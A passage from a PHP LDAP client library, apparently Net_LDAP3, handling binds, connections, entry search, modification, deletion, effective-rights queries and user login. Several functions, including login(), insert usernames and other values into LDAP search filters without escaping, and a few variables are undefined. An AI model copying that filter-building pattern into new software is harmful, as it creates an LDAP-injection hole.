                $this->_warning("LDAP: No schema details exist for attribute $attribute (which is strange)");
            }

            // The relevant parts only, please
            $attributes_details[$attribute] = [
                'type'        => !empty($attrib_details['single-value']) ? 'text' : 'list',
                'description' => $attrib_details['desc'],
                'syntax'      => $attrib_details['syntax'],
                'max-length'  => $attrib_details['max-length'] ?: false,
            ];
        }

        return $attributes_details;
    }

    public function attributes_allowed($objectclasses = [])
    {
        $this->_debug("Listing allowed_attributes for objectclasses", $objectclasses);

        if (!is_array($objectclasses) || empty($objectclasses)) {
            return false;
        }

        $schema = $this->init_schema();
        if (!$schema) {
            return false;
        }

        $may          = [];
        $must         = [];
        $superclasses = [];

        foreach ($objectclasses as $objectclass) {
            $superclass = $schema->superclass($objectclass);
            if (!empty($superclass)) {
                $superclasses = array_merge($superclass, $superclasses);
            }

            $_may  = $schema->may($objectclass);
            $_must = $schema->must($objectclass);

            if (is_array($_may)) {
                $may = array_merge($may, $_may);
            }
            if (is_array($_must)) {
                $must = array_merge($must, $_must);
            }
        }

        $may          = array_unique($may);
        $must         = array_unique($must);
        $superclasses = array_unique($superclasses);

        return ['may' => $may, 'must' => $must, 'super' => $superclasses];
    }

    public function classes_allowed()
    {
        $schema = $this->init_schema();
        if (!$schema) {
            return false;
        }

        $list    = $schema->getAll('objectclasses');
        $classes = [];

        foreach ($list as $class) {
            $classes[] = $class['name'];
        }

        return $classes;
    }

    /**
     * Bind connection with DN and password
     *
     * @param string $dn   Bind DN
     * @param string $pass Bind password
     *
     * @return boolean True on success, False on error
     */
    public function bind($bind_dn, $bind_pw)
    {
        if (!$this->conn) {
            return false;
        }

        if ($bind_dn == $this->_current_bind_dn) {
            return true;
        }

        $this->_debug("C: Bind [dn: $bind_dn]");

        if (@ldap_bind($this->conn, $bind_dn, $bind_pw)) {
            $this->_debug("S: OK");
            $this->_current_bind_dn = $bind_dn;
            $this->_current_bind_pw = $bind_pw;

            return true;
        }

        $this->_debug("S: ".ldap_error($this->conn));
        $this->_error("LDAP: Bind failed for dn=$bind_dn. ".ldap_error($this->conn));

        return false;
    }

    /**
     * Close connection to LDAP server
     */
    public function close()
    {
        if ($this->conn) {
            $this->_debug("C: Close");
            ldap_unbind($this->conn);

            $this->_current_bind_dn = null;
            $this->_current_bind_pw = null;
            $this->conn             = null;
        }
    }

    /**
     * Get the value of a configuration item.
     *
     * @param string $key     Configuration key
     * @param mixed  $default Default value to return
     */
    public function config_get($key, $default = null)
    {
        if (!empty($this->_config_get_hook)) {
            return call_user_func_array($this->_config_get_hook, [$key, $value]);
        }

        if (method_exists($this, "config_get_{$key}")) {
            return call_user_func([$this, "config_get_{$key}"], $value);
        }

        if (!isset($this->config[$key])) {
            return $default;
        }

        return $this->config[$key];
    }

    /**
     * Set a configuration item to value.
     *
     * @param string $key   Configuration key
     * @param mixed  $value Configuration value
     */
    public function config_set($key, $value = null)
    {
        if (is_array($key)) {
            foreach ($key as $k => $v) {
                $this->config_set($k, $v);
            }
            return;
        }

        if (!empty($this->_config_set_hook)) {
            call_user_func($this->_config_set_hook, [$key, $value]);
        }
        else if (method_exists($this, "config_set_{$key}")) {
            call_user_func_array([$this, "config_set_{$key}"], [$value]);
        }
        else if (property_exists($this, $key)) {
            $this->$key = $value;
        }
        else {
            // 'host' option is deprecated
            if ($key == 'host') {
                $this->config['hosts'] = (array) $value;
            }
            else {
                $this->config[$key] = $value;
            }
        }
    }

    /**
     * Establish a connection to the LDAP server
     */
    public function connect($host = null)
    {
        if (!function_exists('ldap_connect')) {
            $this->_error("No ldap support in this PHP installation");
            return false;
        }

        if (isset($this->conn) && $this->conn !== false) {
            $this->_debug("Connection already exists");
            return true;
        }

        $hosts = !empty($host) ? $host : $this->config_get('hosts', []);
        $port  = $this->config_get('port', 389);

        foreach ((array) $hosts as $host) {
            $ldap_uri = $this->_host2uri($host, $port);
            $this->_debug("C: Connect [{$ldap_uri}]");

            if ($lc = @ldap_connect($ldap_uri)) {
                if ($this->config_get('use_tls', false) === true) {
                    if (!ldap_start_tls($lc)) {
                        $this->_debug("S: Could not start TLS. " . ldap_error($lc));
                        continue;
                    }
                }

                $this->_debug("S: OK");

                $ldap_version = $this->config_get('ldap_version', 3);
                $timeout      = $this->config_get('network_timeout');
                $referrals    = $this->config_get('referrals');

                ldap_set_option($lc, LDAP_OPT_PROTOCOL_VERSION, $ldap_version);

                if ($timeout) {
                    ldap_set_option($lc, LDAP_OPT_NETWORK_TIMEOUT, $timeout);
                }

                if ($referrals !== null) {
                    ldap_set_option($lc, LDAP_OPT_REFERRALS, (bool) $referrals);
                }

                $this->_current_host = $ldap_uri;
                $this->conn          = $lc;

                break;
            }

            $this->_debug("S: NOT OK");
        }

        if (!isset($this->conn) || $this->conn === false) {
            $this->_error("Could not connect to LDAP");
            return false;
        }

        return true;
    }

    /**
     *   Shortcut to ldap_delete()
     */
    public function delete_entry($entry_dn)
    {
        $this->_debug("C: Delete $entry_dn");

        if (ldap_delete($this->conn, $entry_dn) === false) {
            $this->_debug("S: " . ldap_error($this->conn));
            $this->_warning("LDAP: Removing entry $entry_dn failed. " . ldap_error($this->conn));
            return false;
        }

        $this->_debug("S: OK");

        return true;
    }

    /**
     * Deletes specified entry and all entries in the tree
     */
    public function delete_entry_recursive($entry_dn)
    {
        // searching for sub entries, but not scope sub, just one level
        $result = $this->search($entry_dn, '(|(objectclass=*)(objectclass=ldapsubentry))', 'one');

        if ($result) {
            $entries = $result->entries(true);

            foreach (array_keys($entries) as $sub_dn) {
                if (!$this->delete_entry_recursive($sub_dn)) {
                    return false;
                }
            }
        }

        if (!$this->delete_entry($entry_dn)) {
            return false;
        }

        return true;
    }

    /**
     * Gets effective rights of an ldap entry
     */
    public function effective_rights($subject)
    {
        if (!in_array(self::CONTROL_EFFECTIVE_RIGHTS, $this->supported_controls())) {
            $this->_debug("LDAP: No getEffectiveRights control in supportedControls");
            return false;
        }

        $entry_dn = $this->entry_dn($subject);

        if (!$entry_dn) {
            $entry_dn = $this->config_get($subject . "_base_dn");
        }

        if (!$entry_dn) {
            $entry_dn = $this->config_get("base_dn");
        }

        if (!$entry_dn) {
            $entry_dn = $this->config_get("root_dn");
        }

        $this->_debug("effective_rights for subject $subject resolves to entry dn $entry_dn");

        if (PHP_VERSION_ID >= 70300) {
            // Note: This get_entry() have to request all attributes to be working
            $result = $this->get_entry($entry_dn, ['*'], [
                    [
                        'oid'        => self::CONTROL_EFFECTIVE_RIGHTS,
                        'value'      => 'dn:' . $this->_current_bind_dn,
                        'iscritical' => true,
                    ],
                ]);

            if (!empty($result)) {
                $attributes = [
                    'dn'                   => $entry_dn,
                    'attributelevelrights' => [],
                    'entrylevelrights'     => [],
                ];

                foreach (['aclrights', 'attributelevelrights', 'entrylevelrights'] as $attr_name) {
                    if (!empty($result[$attr_name])) {
                        $attr_value = $result[$attr_name];

                        switch ($attr_name) {
                        case 'aclrights':
                            $this->parse_aclrights($attributes, $attr_value);
                            break;
                        case 'attributelevelrights':
                            $attributes[$attr_name] = $this->parse_attribute_level_rights($attr_value);
                            break;
                        case 'entrylevelrights':
                            $attributes[$attr_name] = $this->parse_entry_level_rights($attr_value);
                            break;
                        }
                    }
                }

                $this->_debug("LDAP: Effective rights:" . var_export($attributes, true));

                return $attributes;
            }

            return false;
        }

        // Use ldapsearch command
        return $this->effective_rights_mozldap($entry_dn);
    }

    protected function effective_rights_mozldap($entry_dn)
    {
        $moz_ldapsearch = "/usr/lib64/mozldap/ldapsearch";
        if (!is_file($moz_ldapsearch)) {
            $moz_ldapsearch = "/usr/lib/mozldap/ldapsearch";
        }
        if (!is_file($moz_ldapsearch)) {
            $moz_ldapsearch = "/usr/bin/ldapsearch";
        }
        if (!is_file($moz_ldapsearch)) {
            $moz_ldapsearch = null;
        }

        if (empty($moz_ldapsearch)) {
            $this->_error("Mozilla LDAP C SDK binary ldapsearch not found, cannot get effective rights");
            return null;
        }

        $output = [];
        $command = [
            $moz_ldapsearch,
            '-x',
            '-h',
            parse_url($this->_current_host, PHP_URL_HOST),
            '-b',
            escapeshellarg($entry_dn),
            '-s',
            'base',
            '-D',
            escapeshellarg($this->_current_bind_dn),
            '-w',
            escapeshellarg($this->_current_bind_pw)
        ];

        if ($moz_ldapsearch != "/usr/bin/ldapsearch") {
            $command[] = '-p';
            $command[] = parse_url($this->_current_host, PHP_URL_PORT);
        }

        // TODO: Can we use -H instead of -h and -p?

        if ($this->vendor_name() == "Oracle Corporation") {
            // For Oracle DSEE
            $command[] = "-J";
            $command[] = escapeshellarg(self::CONTROL_EFFECTIVE_RIGHTS . ':true');
            $command[] = "-c";
            $command[] = escapeshellarg('dn:' . $this->_current_bind_dn);
        } else if ($moz_ldapsearch == "/usr/bin/ldapsearch") {
            // Modern 389 DS:
            $command[] = "-E";
            $command[] = escapeshellarg("!" . self::CONTROL_EFFECTIVE_RIGHTS . '=:dn:' . $this->_current_bind_dn);
        } else {
            // For 389 DS:
            $command[] = "-J";
            $command[] = escapeshellarg(self::CONTROL_EFFECTIVE_RIGHTS . ':true:dn:' . $this->_current_bind_dn);
        }

        // For both
        $command[] = '"(objectclass=*)"';
        $command[] = '"*"';

        if ($this->vendor_name() == "Oracle Corporation") {
            // Oracle DSEE
            $command[] = 'aclRights';
        }

        // remove password from debug log
        $command_debug     = $command;
        $command_debug[13] = '*';

        $command       = implode(' ', $command);
        $command_debug = implode(' ', $command_debug);

        $this->_debug("LDAP: Executing command: $command_debug");

        exec($command, $output, $return_code);

        $this->_debug("LDAP: Command output:" . var_export($output, true));
        $this->_debug("Return code: " . $return_code);

        if ($return_code) {
            $this->_error("Command $moz_ldapsearch returned error code: $return_code");
            return null;
        }

        $lines = [];
        foreach ($output as $line_num => $line) {
            if (substr($line, 0, 1) == " ") {
                $lines[count($lines)-1] .= trim($line);
            }
            else {
                $lines[] = trim($line);
            }
        }

        $attributes = [
            'dn'                   => $subject_dn,
            'attributelevelrights' => [],
            'entrylevelrights'     => [],
        ];

        if ($this->vendor_name() == "Oracle Corporation") {
            // Example for attribute level rights:
            // aclRights;attributeLevel;$attr:$right:$bool,$right:$bool
            // Example for entry level rights:
            // aclRights;entryLevel: add:1,delete:1,read:1,write:1,proxy:1
            foreach ($lines as $line) {
                $line_components = explode(':', $line);
                $attribute_name  = explode(';', array_shift($line_components));

                if ($attribute_name[0] === "aclRights") {
                    $this->parse_aclrights($attributes, $line);
                }
            }
        } else {
            foreach ($lines as $line) {
                $line_components = explode(':', $line);
                $attribute_name  = array_shift($line_components);
                $attribute_value = trim(implode(':', $line_components));

                switch ($attribute_name) {
                case "attributeLevelRights":
                    $attributes['attributelevelrights'] = $this->parse_attribute_level_rights($attribute_value);
                    break;
                case "entryLevelRights":
                    $attributes['entrylevelrights'] = $this->parse_entry_level_rights($attribute_value);
                    break;
                }
            }
        }

        return $attributes;
    }

    /**
     * Resolve entry data to entry DN
     *
     * @param string $subject    Entry string (e.g. entry DN or unique attribute value)
     * @param array  $attributes Additional attributes
     * @param string $base_dn    Optional base DN
     *
     * @return string Entry DN string
     */
    public function entry_dn($subject, $attributes = [], $base_dn = null)
    {
        $this->_debug("Net_LDAP3::entry_dn($subject)");
        $is_dn = ldap_explode_dn($subject, 1);

        if (is_array($is_dn) && array_key_exists("count", $is_dn) && $is_dn["count"] > 0) {
            $this->_debug("$subject is a dn");
            return $subject;
        }

        $this->_debug("$subject is not a dn");

        if (strlen($subject) < 32 || preg_match('/[^a-fA-F0-9-]/', $subject)) {
            $this->_debug("$subject is not a unique identifier");
            return;
        }

        $unique_attr = $this->config_get('unique_attribute', 'nsuniqueid');

        $this->_debug("Using unique_attribute " . var_export($unique_attr, true) . " at " . __FILE__ . ":" . __LINE__);

        $attributes  = array_merge([$unique_attr => $subject], (array) $attributes);
        $subject     = $this->entry_find_by_attribute($attributes, $base_dn);

        if (!empty($subject)) {
            return key($subject);
        }
    }

    public function entry_find_by_attribute($attributes, $base_dn = null)
    {
        $this->_debug("Net_LDAP3::entry_find_by_attribute(\$attributes, \$base_dn) called with base_dn", $base_dn, "and attributes", $attributes);

        if (empty($attributes) || !is_array($attributes)) {
            return false;
        }

        if (empty($attributes[key($attributes)])) {
            return false;
        }

        $filter = count($attributes) ? "(&" : "";

        foreach ($attributes as $key => $value) {
            $filter .= "(" . $key . "=" . $value . ")";
        }

        $filter .= count($attributes) ? ")" : "";

        if (empty($base_dn)) {
            $base_dn = $this->config_get('root_dn');
            $this->_debug("Using base_dn from domain " . $this->domain . ": " . $base_dn);
        }

        $result = $this->search($base_dn, $filter, 'sub', array_keys($attributes));

        if ($result && $result->count() > 0) {
            $this->_debug("Results found: " . implode(', ', array_keys($result->entries(true))));
            return $result->entries(true);
        }
        else {
            $this->_debug("No result");
            return false;
        }
    }

    public function find_user_groups($member_dn)
    {
        $groups  = [];
        $root_dn = $this->config_get('root_dn');

        // TODO: Do not query for both, it's either one or the other
        $entries = $this->search($root_dn, "(|" .
            "(&(objectclass=groupofnames)(member=$member_dn))" .
            "(&(objectclass=groupofuniquenames)(uniquemember=$member_dn))" .
            ")"
        );

        if ($entries) {
            $groups = array_keys($entries->entries(true));
        }

        return $groups;
    }

    public function get_entry_attribute($subject_dn, $attribute)
    {
        $entry = $this->get_entry_attributes($subject_dn, (array)$attribute);

        return $entry[strtolower($attribute)];
    }

    /**
     * Get a specific LDAP entry attributes
     *
     * @param string $dn         Record identifier
     * @param array  $attributes Attributes to return
     *
     * @return array Hash array (keys in lower case)
     */
    public function get_entry_attributes($subject_dn, $attributes)
    {
        $result = $this->get_entry($subject_dn, $attributes);

        if (!$result) {
            return [];
        }

        if (!in_array('*', $attributes) && !in_array('dn', $attributes)) {
            unset($result['dn']);
        }

        // change keys case for historical reasons
        return array_change_key_case($result, CASE_LOWER);
    }

    /**
     * Get a specific LDAP entry, identified by its DN
     *
     * @param string $dn         Record identifier
     * @param array  $attributes Attributes to return
     * @param array  $controls   LDAP Controls
     *
     * @return array Hash array (keys in original case)
     */
    public function get_entry($dn, $attributes = ["*"], $controls = [])
    {
        $rec = null;

        if ($this->conn) {
            $this->_debug("C: Read [dn: $dn] [(objectclass=*)]");

            if (!empty($controls)) {
                $ldap_result = @ldap_read($this->conn, $dn, '(objectclass=*)', $attributes, 0, -1, -1, LDAP_DEREF_NEVER, $controls);
            }
            else {
                $ldap_result = @ldap_read($this->conn, $dn, '(objectclass=*)', $attributes);
            }

            if ($ldap_result) {
                $this->_debug("S: OK");

                if ($entry = ldap_first_entry($this->conn, $ldap_result)) {
                    $rec = ldap_get_attributes($this->conn, $entry);
                }
            }
            else {
                $this->_debug("S: ".ldap_error($this->conn));
                $this->_warning("LDAP: Failed to read $dn. " . ldap_error($this->conn));
            }

            if (!empty($rec)) {
                $rec = self::normalize_entry($rec, true);
                if ($dn) {
                    $rec['dn'] = $dn; // Add in the dn for the entry.
                }
            }
        }

        return $rec;
    }

    public function list_replicas()
    {
        $this->_debug("Finding replicas for this server.");

        // Search any host that is a replica for the current host
        $replica_hosts = $this->config_get('replica_hosts', []);
        $root_dn       = $this->config_get('config_root_dn');

        if (!empty($replica_hosts)) {
            return $replica_hosts;
        }

        $ldap = new Net_LDAP3($this->config);
        $ldap->connect();
        $ldap->bind($this->_current_bind_dn, $this->_current_bind_pw);

        $host_attrs = ['nsds5replicahost', 'nsds5replicaport'];

        $result = $ldap->search($root_dn, '(objectclass=nsds5replicationagreement)', 'sub', $host_attrs);

        if (!$result) {
            $this->_debug("No replicas configured");
            return $replica_hosts;
        }

        $this->_debug("Replication agreements found: " . var_export($result->entries(true), true));

        foreach ($result->entries(true) as $dn => $attrs) {
            $host = $attrs['nsds5replicahost'] . ':' . !empty($attrs['nsds5replicaport']) ? $attrs['nsds5replicaport'] : 389;
            if (!in_array($host, $replica_hosts)) {
                $replica_hosts[] = $host;
            }
        }

        // $replica_hosts now holds the IDs of servers we are currently NOT
        // connected to. We might need this later in order to set
        $this->_server_id_not = $replica_hosts;

        $this->_debug("So far, we have the following replicas: " . var_export($replica_hosts, true));

        $ldap->close();

        foreach ($replica_hosts as $replica_host) {
            $ldap->config_set('hosts', [$replica_host]);
            $ldap->connect();
            $ldap->bind($this->_current_bind_dn, $this->_current_bind_pw);

            $result = $ldap->search($root_dn, '(objectclass=nsds5replicationagreement)', 'sub', $host_attrs);
            if (!$result) {
                $this->_debug("No replicas configured on $replica_host");
                $ldap->close();
                continue;
            }

            foreach ($result->entries(true) as $dn => $attrs) {
                $host = $attrs['nsds5replicahost'] . ':' . !empty($attrs['nsds5replicaport']) ? $attrs['nsds5replicaport'] : 389;
                if (!in_array($host, $replica_hosts)) {
                    $replica_hosts[] = $host;
                }
            }

            $ldap->close();
        }

        $this->config_set('replica_hosts', $replica_hosts);

        return $replica_hosts;
    }

    public function login($username, $password, $domain = null, &$attributes = null)
    {
        $this->_debug("Net_LDAP3::login($username,***,$domain)");

        $_bind_dn = $this->config_get('service_bind_dn');
        $_bind_pw = $this->config_get('service_bind_pw');

        if (empty($_bind_dn)) {
            $this->_debug("No valid service bind dn found.");
            return null;
        }

        if (empty($_bind_pw)) {
            $this->_debug("No valid service bind password found.");
            return null;
        }

        $bound = $this->bind($_bind_dn, $_bind_pw);

        if (!$bound) {
            $this->_debug("Could not bind with service bind credentials.");
            return null;
        }

        $entry_dn = $this->entry_dn($username);

        if (!empty($entry_dn)) {
            $bound = $this->bind($entry_dn, $password);

            if (!$bound) {
                $this->_error("LDAP: Could not bind with " . $entry_dn);
                return null;
            }

            // fetch user attributes if requested
            if (!empty($attributes)) {
                $attributes = $this->get_entry($entry_dn, $attributes);
            }

            return $entry_dn;
        }

        $base_dn = $this->config_get('root_dn');

        if (empty($base_dn)) {
            $this->_debug("Could not get a valid base dn to search.");
            return null;
        }

        $localpart = $username;

        if (empty($domain) ) {
            if (count(explode('@', $username)) > 1) {
                $_parts    = explode('@', $username);
                $localpart = $_parts[0];
                $domain    = $_parts[1];
            }
            else {
                $localpart = $username;
                $domain    = '';
            }
        }

        $realm  = $domain;
        $filter = $this->config_get("login_filter", null);

        if (empty($filter)) {
            $filter = $this->config_get("filter", null);
        }
        if (empty($filter)) {
            $filter = "(&(|(mail=%s)(mail=%U@%d)(alias=%s)(alias=%U@%d)(uid=%s))(objectclass=inetorgperson))";
        }

        $this->_debug("Net::LDAP3::login() original filter: " . $filter);

        $replace_patterns = [
            '/%s/' => $username,
            '/%d/' => $domain,
            '/%U/' => $localpart,
            '/%r/' => $realm
        ];

        $filter = preg_replace(array_keys($replace_patterns), array_values($replace_patterns), $filter);

        $this->_debug("Net::LDAP3::login() actual filter: " . $filter);

        $result = $this->search($base_dn, $filter, 'sub', $attributes);

        if (!$result) {
            $this->_debug("Could not search $base_dn with $filter");
            return null;
        }

        if ($result->count() > 1) {
            $this->_debug("Multiple entries found.");
            return null;
        }
        else if ($result->count() < 1) {
            $this->_debug("No entries found.");
            return null;
        }

        $entries  = $result->entries(true);
        $entry_dn = key($entries);

        $bound = $this->bind($entry_dn, $password);

        if (!$bound) {
            $this->_debug("Could not bind with " . $entry_dn);
            return null;
        }

        // replace attributes list with key-value data
        if (!empty($attributes)) {
            $attributes = $entries[$entry_dn];
        }

        return $entry_dn;
    }

    public function list_group_members($dn, $entry = null, $recurse = true)
    {
        $this->_debug("Net_LDAP3::list_group_members($dn)");

        if (is_array($entry) && in_array('objectclass', $entry)) {
            if (!in_array(['groupofnames', 'groupofuniquenames', 'groupofurls'], $entry['objectclass'])) {
                $this->_debug("Called list_group_members on a non-group!");
                return [];
            }
        }
        else {
            $entry = $this->get_entry_attributes($dn, ['member', 'uniquemember', 'memberurl', 'objectclass']);

            if (!$entry) {
                return [];
            }
        }

        $group_members = [];

        foreach ((array)$entry['objectclass'] as $objectclass) {
            switch (strtolower($objectclass)) {
                case "groupofnames":
                case "kolabgroupofnames":
                    $group_members = array_merge($group_members, $this->list_group_member($dn, $entry['member'], $recurse));
                    break;
                case "groupofuniquenames":
                case "kolabgroupofuniquenames":
                    $group_members = array_merge($group_members, $this->list_group_uniquemember($dn, $entry['uniquemember'], $recurse));
                    break;
                case "groupofurls":
                    $group_members = array_merge($group_members, $this->list_group_memberurl($dn, $entry['memberurl'], $recurse));
                    break;
            }
        }

        return array_values(array_filter($group_members));
    }

    public function modify_entry($subject_dn, $old_attrs, $new_attrs)
    {
        $this->_debug("OLD ATTRIBUTES", $old_attrs);
        $this->_debug("NEW ATTRIBUTES", $new_attrs);

        // TODO: Get $rdn_attr - we have type_id in $new_attrs
        $dn_components  = ldap_explode_dn($subject_dn, 0);
        $rdn_components = explode('=', $dn_components[0]);
        $rdn_attr       = $rdn_components[0];

        $this->_debug("Net_LDAP3::modify_entry() using rdn attribute: " . $rdn_attr);

        $mod_array = [
            'add'       => [], // For use with ldap_mod_add()
            'del'       => [], // For use with ldap_mod_del()
            'replace'   => [], // For use with ldap_mod_replace()
            'rename'    => [], // For use with ldap_rename()
        ];

        // This is me cheating. Remove this special attribute.
        if (array_key_exists('ou', $old_attrs) || array_key_exists('ou', $new_attrs)) {
            $old_ou = isset($old_attrs['ou']) && is_array($old_attrs['ou'])
                ? array_shift($old_attrs['ou']) : (isset($old_attrs['ou']) ? $old_attrs['ou'] : null);
            $new_ou = isset($new_attrs['ou']) && is_array($new_attrs['ou'])
                ? array_shift($new_attrs['ou']) : (isset($new_attrs['ou']) ? $new_attrs['ou'] : null);
            unset($old_attrs['ou']);
            unset($new_attrs['ou']);
        }
        else {
            $old_ou = null;
            $new_ou = null;
        }

        // Compare each attribute value of the old attrs with the corresponding value
        // in the new attrs, if any.
        foreach ($old_attrs as $attr => $old_attr_value) {
            if (is_array($old_attr_value)) {
                if (count($old_attr_value) == 1) {
                    $old_attrs[$attr] = $old_attr_value[0];
                    $old_attr_value = $old_attrs[$attr];
                }
            }

            if (array_key_exists($attr, $new_attrs)) {
                if (is_array($new_attrs[$attr])) {
                    if (count($new_attrs[$attr]) == 1) {
                        $new_attrs[$attr] = $new_attrs[$attr][0];
                    }
                }

                if (is_array($old_attrs[$attr]) && is_array($new_attrs[$attr])) {
                    $_sort1 = $new_attrs[$attr];
                    sort($_sort1);
                    $_sort2 = $old_attr_value;
                    sort($_sort2);
                }
                else {
                    $_sort1 = true;
                    $_sort2 = false;
                }

                if ($new_attrs[$attr] !== $old_attr_value && $_sort1 !== $_sort2) {
                    $this->_debug("Attribute $attr changed from " . var_export($old_attr_value, true) . " to " . var_export($new_attrs[$attr], true));
                    if ($attr === $rdn_attr) {
                        $this->_debug("This attribute is the RDN attribute. Let's see if it is multi-valued, and if the original still exists in the new value.");
                        if (is_array($old_attrs[$attr])) {
                            if (!is_array($new_attrs[$attr])) {
                                if (in_array($new_attrs[$attr], $old_attrs[$attr])) {
                                    // TODO: Need to remove all $old_attrs[$attr] values not equal to $new_attrs[$attr], and not equal to the current $rdn_attr value [0]

                                    $this->_debug("old attrs. is array, new attrs. is not array. new attr. exists in old attrs.");

                                    $rdn_attr_value  = array_shift($old_attrs[$attr]);
                                    $_attr_to_remove = [];

                                    foreach ($old_attrs[$attr] as $value) {
                                        if (strtolower($value) != strtolower($new_attrs[$attr])) {
                                            $_attr_to_remove[] = $value;
                                        }
                                    }

                                    $this->_debug("Adding to delete attribute $attr values:" . implode(', ', $_attr_to_remove));

                                    $mod_array['del'][$attr] = $_attr_to_remove;

                                    if (strtolower($new_attrs[$attr]) !== strtolower($rdn_attr_value)) {
                                        $this->_debug("new attrs is not the same as the old rdn value, issuing a rename");
                                        $mod_array['rename']['dn']      = $subject_dn;
                                        $mod_array['rename']['new_rdn'] = $rdn_attr . '=' . self::quote_string($new_attrs[$attr], true);
                                    }
                                }
                                else {
                                    $this->_debug("new attrs is not the same as any of the old rdn value, issuing a full rename");
                                    $mod_array['rename']['dn']      = $subject_dn;
                                    $mod_array['rename']['new_rdn'] = $rdn_attr . '=' . self::quote_string($new_attrs[$attr], true);
                                }
                            }
                            else {
                                // TODO: See if the rdn attr. value is still in $new_attrs[$attr]
                                if (in_array($old_attrs[$attr][0], $new_attrs[$attr])) {
                                    $this->_debug("Simply replacing attr $attr as rdn attr value is preserved.");
                                    $mod_array['replace'][$attr] = $new_attrs[$attr];
                                }
                                else {
                                    // TODO: This fails.
                                    $mod_array['rename']['dn']      = $subject_dn;
                                    $mod_array['rename']['new_rdn'] = $rdn_attr . '=' . self::quote_string($new_attrs[$attr][0], true);
                                    $mod_array['del'][$attr]        = $old_attrs[$attr][0];
                                }
                            }
                        }
                        else {
                            if (!is_array($new_attrs[$attr])) {
                                $this->_debug("Renaming " . $old_attrs[$attr] . " to " . $new_attrs[$attr]);
                                $mod_array['rename']['dn']      = $subject_dn;
                                $mod_array['rename']['new_rdn'] = $rdn_attr . '=' . self::quote_string($new_attrs[$attr], true);
                            }
                            else {
                                $this->_debug("Adding to replace");
                                // An additional attribute value is being supplied. Just replace and continue.
                                $mod_array['replace'][$attr] = $new_attrs[$attr];
                                continue;
                            }
                        }
                    }
                    else {
                        if (!isset($new_attrs[$attr]) || $new_attrs[$attr] === '' || (is_array($new_attrs[$attr]) && empty($new_attrs[$attr]))) {
                            switch ($attr) {
                                case "userpassword":
                                    break;
                                default:
                                    $this->_debug("Adding to del: $attr");
                                    $mod_array['del'][$attr] = (array)($old_attr_value);
                                    break;
                            }
                        }
                        else {
                            $this->_debug("Adding to replace: $attr");
                            $mod_array['replace'][$attr] = (array)($new_attrs[$attr]);
                        }
                    }
                }
                else {
                    $this->_debug("Attribute $attr unchanged");
                }
            }
            else {
                // TODO: Since we're not shipping the entire object back and forth, and only post
                // part of the data... we don't know what is actually removed (think modifiedtimestamp, etc.)
                $this->_debug("Group attribute $attr not mentioned in \$new_attrs..., but not explicitly removed... by assumption");
            }
        }

        foreach ($new_attrs as $attr => $value) {
            // OU's parent base dn
            if ($attr == 'base_dn') {
                continue;
            }

            if (is_array($value)) {
                if (count($value) == 1) {
                    $new_attrs[$attr] = $value[0];
                    $value = $new_attrs[$attr];
                }
            }

            if (array_key_exists($attr, $old_attrs)) {
                if (is_array($old_attrs[$attr])) {
                    if (count($old_attrs[$attr]) == 1) {
                        $old_attrs[$attr] = $old_attrs[$attr][0];
                    }
                }

                if (is_array($new_attrs[$attr]) && is_array($old_attrs[$attr])) {
                    $_sort1 = $old_attrs[$attr];
                    sort($_sort1);
                    $_sort2 = $value;
                    sort($_sort2);
                }
                else {
                    $_sort1 = true;
                    $_sort2 = false;
                }

                if ($value === null || $value === '' || (is_array($value) && empty($value))) {
                    if (!array_key_exists($attr, $mod_array['del'])) {
                        switch ($attr) {
                            case 'userpassword':
                                break;
                            default:
                                $this->_debug("Adding to del(2): $attr");
                                $mod_array['del'][$attr] = (array)($old_attrs[$attr]);
                                break;
                        }
                    }
                }
                else {
                    if (!($old_attrs[$attr] === $value) && !($attr === $rdn_attr) && !($_sort1 === $_sort2)) {
                        if (!array_key_exists($attr, $mod_array['replace'])) {
                            $this->_debug("Adding to replace(2): $attr");
                            $mod_array['replace'][$attr] = $value;
                        }
                    }
                }
            }
            else {
                if (!empty($value)) {
                    $mod_array['add'][$attr] = $value;
                }
            }
        }

        if (empty($old_ou)) {
            $subject_dn_components = ldap_explode_dn($subject_dn, 0);
            unset($subject_dn_components["count"]);
            $subject_rdn = array_shift($subject_dn_components);
            $old_ou      = implode(',', $subject_dn_components);
        }

        $subject_dn = self::unified_dn($subject_dn);
        $prefix     = self::unified_dn('ou=' . $old_ou) . ',';

        // object is an organizational unit
        if (strpos($subject_dn, $prefix) === 0) {
            $root = substr($subject_dn, strlen($prefix)); // remove ou=*,

            if ((!empty($new_attrs['base_dn']) && strtolower($new_attrs['base_dn']) !== strtolower($root))
                || (strtolower($old_ou) !== strtolower($new_ou))
            ) {
                if (!empty($new_attrs['base_dn'])) {
                    $root = $new_attrs['base_dn'];
                }

                $mod_array['rename']['new_parent'] = $root;
                $mod_array['rename']['dn']         = $subject_dn;
                $mod_array['rename']['new_rdn']    = 'ou=' . self::quote_string($new_ou, true);
            }
        }
        // not OU object, but changed ou attribute
        else if (!empty($old_ou) && !empty($new_ou)) {
            // unify DN strings for comparison
            $old_ou = self::unified_dn($old_ou);
            $new_ou = self::unified_dn($new_ou);

            if (strtolower($old_ou) !== strtolower($new_ou)) {
                $mod_array['rename']['new_parent'] = $new_ou;
                if (empty($mod_array['rename']['dn']) || empty($mod_array['rename']['new_rdn'])) {
                    $rdn_attr_value = self::quote_string($new_attrs[$rdn_attr], true);
                    $mod_array['rename']['dn']      = $subject_dn;
                    $mod_array['rename']['new_rdn'] = $rdn_attr . '=' . $rdn_attr_value;
                }
            }
        }

        $this->_debug($mod_array);

        $result = $this->modify_entry_attributes($subject_dn, $mod_array);

        if ($result) {
            return $mod_array;
        }
    }

    /**
     * Bind connection with (SASL-) user and password
     *
     * @param string $authc Authentication user
     * @param string $pass  Bind password
     * @param string $authz Autorization user
     *
     * @return boolean True on success, False on error
     */
    public function sasl_bind($authc = '', $pass = '', $authz = null)
    {
        if (!$this->conn) {
            return false;
        }

        if (!function_exists('ldap_sasl_bind')) {
            $this->_error("LDAP: Unable to bind. ldap_sasl_bind() not exists");
            return false;
        }

        if (!empty($authz)) {
            $authz = 'u:' . $authz;
        }

        $gssapi = $this->config_get('gssapi_cn');
        $method = $this->config_get('auth_method');

        if (empty($method)) {
            $method = 'DIGEST-MD5';
        }

        if ($gssapi && strcasecmp($method, 'GSSAPI') == 0) {
            putenv("KRB5CCNAME=$gssapi");
        }

        $this->_debug("C: Bind [mech: $method, authc: $authc, authz: $authz, gssapi: $gssapi]");

        if (ldap_sasl_bind($this->conn, null, $pass, $method, null, $authc, $authz)) {
            $this->_debug("S: OK");
            return true;
        }

        $this->_debug("S: ".ldap_error($this->conn));
